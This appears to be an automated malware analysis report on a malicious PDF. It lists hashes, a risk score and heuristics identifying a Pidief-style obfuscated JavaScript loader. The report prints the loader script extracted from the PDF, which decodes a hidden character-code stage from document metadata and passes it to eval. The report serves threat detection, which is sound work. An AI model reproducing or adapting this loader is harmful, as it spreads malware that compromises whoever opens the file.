Malicious PDF — malware analysis report

Static analysis result for SHA-256 aa2a2ff7768ed95d…

MALICIOUS

PDF

45.0 KB Authoring application: substr First seen: 2026-05-09
MD5: bd31b5ae7947fe396df57bff21b6bc31 SHA-1: e689788b45cb3c5b3a9af045cef039e2b4a73559 SHA-256: aa2a2ff7768ed95db14be760318f77a87ed70d7faed3dd0b04b11928e1b59085
86 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings and the presence of a JavaScript object. The ML classifier strongly suggests malicious intent. The embedded JavaScript is likely designed to download and execute a second-stage payload, although the specific actions are not fully discernible from the provided information. The file's SHA256 hash is included as a primary IOC.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB164 453 bytes
SHA-256: 97fc09a5d5b52e412c3dd932d051d69710c7d38b69c2ab0a2d621502a5b6a742
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
a="e".concat("a","n","b","w",b,"o");
s=a[0].concat(b,a[1],t[0]);
e=v[v]()[s];
fzaed=e('ti'.concat(v[4],t));
q=fzaed[v](a.length-6,a.length+2);
hwzwe=e(v[0].toUpperCase().concat(v[4],'ring.f',q[4],a[6],q));
q=fzaed[v](t.length+12)[e(v[0]+'ubjec'+v[4])]('c');
k=q['len'.concat('gth')];
i=0;
while(i!=k){
	mruqn = 1*(q[i]);
	i++;
	mruqn -= (-1)*(q[i]);
	s2 = s2.concat(hwzwe(mruqn));
	i++;
}
e(s2);

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